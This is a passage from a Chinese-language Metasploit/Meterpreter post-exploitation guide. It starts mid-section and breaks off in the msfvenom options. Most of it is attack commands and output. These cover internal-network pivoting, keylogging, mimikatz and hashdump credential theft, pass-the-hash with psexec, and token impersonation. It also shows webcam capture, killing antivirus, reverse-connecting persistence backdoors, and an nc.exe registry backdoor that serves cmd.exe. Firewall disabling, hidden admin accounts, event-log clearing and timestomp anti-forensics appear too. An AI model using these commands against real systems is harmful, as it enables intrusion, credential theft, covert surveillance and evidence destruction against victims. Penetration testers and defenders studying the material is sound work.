网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd: 在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。 (2)route 使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。 可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况 命令:run get_local_subnets 如下图: 其内网有192.168.249.0/24网段,我们无法直接访问 下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。 命令:route add 192.168.249.0 255.255.255.0 5 再使用route print查看一下路由表,效果如下图: 最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图: 大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。 查看shell网络环境: meterpreter>run get_local_subnets 添加一条通向目标服务器内网的路由 meterpreter>run autoroute -s 100.0.0.0/8 #(根据目标内网网络而定) 查看路由设置: meterpreter>run autoroute –p 一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。 route print 如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。 msf>route add 10.0.0.0 255.0.0.0 1 说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。 4.键盘监听 Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令: keyscan_start:开启键盘记录功能 keyscan_dump:显示捕捉到的键盘记录信息 keyscan_stop:停止键盘记录功能 uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。 meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能 Starting the keystroke sniffer... meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录 Dumping captured keystrokes... dir <Return> cd<Ctrl> <LCtrl> meterpreter > keyscan_stop #停止针对目标主机的键盘记录 Stopping the keystroke sniffer... 这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。 如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。 5.系统命令 reboot#重新启动受害人的计算机 reg#与受害人的注册表进行交互 rev2self#回到控制目标主机的初始用户账户下 shell#获得控制台权限 shutdown#关闭了受害者的计算机 sysinfo # 查看目标机系统信息,如机器名,操作系统等 add_user username password -h ip #在远程目标主机上添加一个用户 add_group_user "Domain Admins" username -h ip #将用户添加到目标主机的域管理员组中 shell命令 获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试 6.mimikatz meterpreter > load mimikatz #加载mimikatz meterpreter > msv #获取hash值 meterpreter > kerberos #获取明文 meterpreter >ssp #获取明文信息 meterpreter > wdigest #获取系统账户信息 meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示 meterpreter >mimikatz_command -f hash:: #获取目标 hash meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords 7.网络嗅探 meterpreter > use sniffer # 加载嗅探模块 Loading extension sniffer...success. meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false ) 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据 [*] Capture started on interface 2 (50000 packet buffer) meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探 [*] Flushing packet capture buffer for interface 2... [*] Flushed 1176 packets (443692 bytes) [*] Downloaded 100% (443692/443692)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/test2.cap meterpreter > sniffer_stop 2 #停止嗅探 Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件: 首先执行use sniffer命令作用为使用嗅探脚本。 sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1. sniffer_start ID命令开始嗅探。 sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。 对抓取的包进行解包: use auxiliary/sniffer/psnuffle set pcapfile 1.cap run 然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可: 8.获取敏感信息 run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下 (1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息 命令:run post/windows/gather/enum_applications 效果如图: (2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码 命令:run post/windows/gather/enum_ie 效果如下图: 获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效 9.获取Hash 使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。 meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TESTING [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+]Croxy:"Whoareyou" [*] Dumping password hashes... [+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d::: 脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下: 数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。 其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。 接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。 use post/windows/gather/hashdump set session 4 run 检查已有权限+系统类型 检查是否为域控制器 从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程 若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS 若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash 若win2003/xp/2000,直接getsystem,读取hash 10.通过Hash获取权限 msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ------------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHAREADMIN$ yes The share to connect to, can be an admi n share (ADMIN$,C$,...) or a normal read/write folder share SMBDomainWORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic msf exploit(psexec) > set RHOST 192.168.0.254 RHOST => 192.168.0.254 msf exploit(psexec) > set SMBUser isosky SMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'... [*] Uploading payload... [*] Created \UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.254 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800 11.捕捉屏幕 要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。 我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。 截取的效果如下所示: 12.得到远程桌面 使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。 13.权限提升 这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。 使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。 ps#列出正在运行的进程 kill pid # 杀死进程 migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法 getprivs#尽可能获取尽可能多的特权 getuid #获得当前的权限 getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户 getsystem –h #升级权限SYSTEM账户 使用MS14-058之类的Exp进行提权: meterpreter > background [*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set SESSION 3 use priv#加载特权提升扩展模块,来扩展Meterpreter库 列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。 在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。 14.盗取令牌 meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户) meterpreter >list_tokens -u 列出目标主机用户的可用令牌 meterpreter >list_tokens -g 列出目标主机用户组的可用令牌 meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato meterpreter >execute -f cmd.exe -i -t #调用域权限shell meterpreter > getuid meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户 meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作 meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录) meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒 meterpreter>drop_token pid #停止假冒当前令牌 另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。 load incognito list_tokens -u impersonate_token xxxxx\\xxxxxxx execute -f cmd.exe -i -t 15.清除事件日志 完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志 执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。 执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的: 16.网络摄像头 record_mic    #音频录制 webcam_chat   #查看摄像头接口 webcam_list   #查看摄像头列表 webcam_stream  #摄像头视频获取 webcam_list meterpreter > webcam_list 1: Creative WebCam NX Pro 2: Creative WebCam NX Pro (VFW) meterpreter > webcam_snap meterpreter > webcam_snap -h Usage: webcam_snap [options] OPTIONS: -h Help Banner -i >opt> The index of the webcam to use (Default: 1) -p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg') -q >opt> The JPEG image quality (Default: '50') -v >opt> Automatically view the JPEG image (Default: 'true') meterpreter > OPTIONS: -h: Displays the help information for the command -i opt: If more then 1 web cam is connected, use this option to select the device to capture the image from -p opt: Change path and filename of the image to be saved -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality -v opt: By default the value is true, which opens the image after capture Example usage: meterpreter > webcam_snap -i 1 -v false [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg meterpreter > “webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。 17.一些脚本命令 为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。 使用“run scriptname”来使用meterpreter模块中的脚本命令 (1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机 命令: run post/windows/gather/checkvm 效果如下图: 同样有许多类似这样的脚本,下面来介绍几个重要的脚本: (2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。 从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。 (3)get_local_subnets——“run get_local_subnets”得到本地子网网段 (4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略 (5) scraper——“run scraper”从目标主机获得所有网络共享等信息 并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。 (6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录 但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰 使用了 “run killav”命令后xp会终止Av进程然后弹出窗口: (7)hashdump——“run hashdump”获得密码哈希值 运行这个脚本和在meterpreter下直接运行hashdump结果差不多。 (8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息 运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。 (9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机 远程主机重启后将在特定的时间间隔保持meterpreter会话 run persistence -X -i 5 -p 4444 -r 172.17.11.18 #植入后门 -X 在目标主机上开机自启动 -i 不断尝试反向连接的时间间隔 persistence后渗透模块向目标主机植入后门程序 效果如下图: 执行过程: 创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。 下图,在攻击主机上监听4444端口,等待反弹会话成功 下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本 (10)enum_drives 这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。 后渗透模块post/windows/gather/forensics/enum_drives调用 在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息: 命令,在msfconsole下: use post/windows/gather/forensics/enum_drives set SESSION 1 exploit 效果如图: 或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用 我们首先将meterpreter会话放入后台,然后搜索我们的模块。 然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。 18.SOCKS代理 Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行 然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。 19.运行程序 我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下: execute -f<file> [Options] execute -f cmd.exe -i#执行cmd.exe命令并进行交互 execute -f cmd.exe -i -t#以所有可用令牌来执行cmd命令 execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互 execute -H -i -f cmd.exe execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" 运行后它将执行file参数所指定的文件。可选参数如下: -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程 -f 执行的程序文件 -d 在目标主机执行时显示的进程名称(用以伪装) -o wce.txt"是wce.exe的运行参数 20.创建账号 getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息 run getgui-e #开启远程桌面 run getgui -uexample_username -pexample_password #添加账号 调用getgui后渗透攻击模块 作用:开启目标主机远程桌面,并可添加管理员组账号 命令: run getgui -e 开启目标主机远程桌面 如下图: 开启目标主机的远程桌面服务后,可以添加账号以便利用 命令: run getgui -u example_username -p example_password 如下图: 执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机 rdesktop -u kali -p meterpreter 192.168.250.176:3389 从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。 添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。 接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。 当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。 21.启用远程桌面 当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。 首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启): 在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: 这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息: 下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面: run post/windows/manage/enable_rdp 还可以使用 run getgui -e 来开启远程桌面: 利用该命令,我们还可以在目标机器上添加用户: run getgui -u xxxxx -p xxxxx 22.绑定进程 Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。 在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。 首先,我们需要使用“ps”命令查看目标设备中运行的进程: 接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。 绑定完成之后,我们就可以开始捕获键盘数据了: 接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录: 等待片刻之后,使用keyscan_dump命令导出记录信息: 捕捉到的用户密码为trustno1 23.通过其 shell 来关闭防火墙 netsh adcfirewall set allprofiles state off 我们打开防火墙配置查看防火墙已成功被我们关闭! 但是我们可以看出,如果目标管理员查看防火墙配置,发现防火墙被人为关闭,那么必定引起管理员的警惕!因此,我们还可以通过策略的添加,来隐蔽我们的行为。 netsh firewall add portopening TCP 444 “VMWARE” ENABLE ALL 伪装成一个系统正常的进程,之后远程重启目标系统,并利用 NC 连接即可! 24.利用注册表添加 NC 后门 1.上传 NC 到目标系统: upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 2.枚举注册表内容(开机启动) reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 3.在该注册表增加内容(开机启动) reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe” 4.查看内容是否增加成功: reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 25.基于MACE时间的反电子取证 timestomp -v secist.txt #查看当前目标文件 MACE 时间。 timestomp c:/a.doc -c “10/27/2015 14:22:11” #修改文件的创建时间,例如修改文件的创建时间(反取证调查) timestomp -f c:\\AVScanner.ini secist.txt (将模板文件MACE时间,复制给当前文件) timestomp -v secist.txt 26.内网代理 meterpreter > run autoroute -s 192.168.1.0/24 msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 msf auxiliary(tcp) > exploit meterpreter > background msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > route print msf auxiliary(socks4a) > ifconfig msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx #xxx.xxx.xx.xx为自己运行msf的vps机子' msf auxiliary(socks4a) > exploit 27.SSH代理 msf > load meta_ssh msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER test USER => test msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to [email protected]:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1 之后就是愉快的内网扫描了 当然还是推荐直接用 ssh -f -N -D 127.0.0.1:6666 [email protected] 28.内网扫描 meterpreter > run autoroute -s 192.168.3.98 meterpreter > background [*] Backgrounding session 2... msf exploit(handler) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306 PORTS => 80,8080,21,22,3389,445,1433,3306 msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24 RHOSTS => 192.168.3.1/24 msf auxiliary(tcp) > set THERADS 10 THERADS => 10 msf auxiliary(tcp) > exploit 我还是推荐开代理用Nmap扫描>.< 29.一些常用的破解模块 auxiliary/scanner/mssql/mssql_login auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login auxiliary/scanner/ftp/anonymous 30.一些好用的模块 auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版洞略老) auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令没回显:() auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句) auxiliary/scanner/rsync/modules_list (Rsync) auxiliary/scanner/misc/redis_server (Redis) auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) auxiliary/scanner/mongodb/mongodb_login (Mongodb) auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) auxiliary/scanner/http/http_put (http Put) auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) auxiliary/scanner/http/svn_scanner (svn Hunter :)) auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) auxiliary/scanner/http/zabbix_login (Zabbix :)) 0x05 常见脚本 在获得meterpreter的session后,除了meterpreter本身内置的一些基本功能,在/usr/share/metasploit-framework/scripts/meterpreter下面还有很多scripts,提供了很多额外功能,非常好用 我看网上没有详细介绍常见脚本功能的文章,就总结了一下 我们可以通过run 脚本名来进行使用 run 脚本名 -h可以查看帮助 1.arp_scanner 利用arp进行存活主机扫描 run arp_scanner-r 192.168.1.0/24 2.autoroute 可以添加,删除,显示路由表 3.checkvm 可以检测目标是否是虚拟机 4.credcollect 收集目标主机上的hash等凭证 5.domain_list_gen 获取域管理账户列表,并判断当前session所在用户是否在列表中 6.dumplinks Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件 调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息 命令:run post/windows/gather/dumplinks 效果如下图: 7.duplicate 再次产生payload,注入到其他进程或打开新进程并注入其中 8.enum_chrome 获取chrome中的信息 9.enum_firefox 获取firefox中的信息,包括cooikie,历史纪录,书签等 10.enum_logged_on_users 列出当前登录的用户 11.enum_powershell_env 列出powershell和WSH的配置文件 12.enum_putty 列出putty的配置文件 13.enum_shares 列出共享及历史共享 14.enum_vmware 列出vmware的配置文件和产品 15.event_manager 可以查询和清理事件日志 16.file_collector 搜索符合指定模式的文件 17.get_application_list 获取安装的程序列表及版本 18.getcountermeasure 列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略 Ps:-k参数可以杀掉防护软件进程 19.get_env 获取所有用户的环境变量 20.get_filezilla_creds 获取filezilla的登陆凭证 21.getgui 可以很方便的开启远程桌面服务,添加用户,端口转发功能 22.get_local_subnets 获得本地的子网 23.get_pidgin_creds 获取pidgin配置文件中的用户名和密码 24.gettelnet 同之前开启终端桌面服务的脚本,这个是用来开启telnet的 25.get_valid_community 获取SNMP community字符串 26.getvncpw 获取vnc密码 27.hashdump 同meterpreter的内置功能 28.hostsedit 操作hosts文件 29.keylogrecorder Meterpreter内置此功能 30.killav 关闭防护软件 31.metsvc 将payload安装为服务 32. migrate 将meterpreter会话移植到另一个进程 例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法 可以先用ps命令看一下目标主机的explorer.exe进程的pid 是1668然后我们用migrate 1668 把meterpreter会话注入进去 33 .persistence 可见建立一个持久性的后门,设置成开机启动 34. service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload 35.vnc 可以看到远程桌面 36. win32-sshserver 安装openssh服务 37. winenum 会自动运行多种命令,将命令结果保存到本地 0x06 msfvenom命令参数 metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成msfvenom。可以利用msfvenom生成木马程序,并且目标机上执行,在本地做监听 1.msfvenom命令行选项 在kali的命令行中输入msfvenom -h就会显示其用法: Options: -p, --payload<payload> 指定需要使用的payload(攻击荷载) -l, --list[module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all -n, --nopsled<length> 为payload预先指定一个NOP滑动长度 -f, --format<format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder[encoder] 指定需要使用的encoder(编码器) -a, --arch<architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space<length> 设定有效攻击荷载的最大长度 -b, --bad-chars<list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code<path> 指定一个附加的win32 shellcode文件 -x, --template<path> 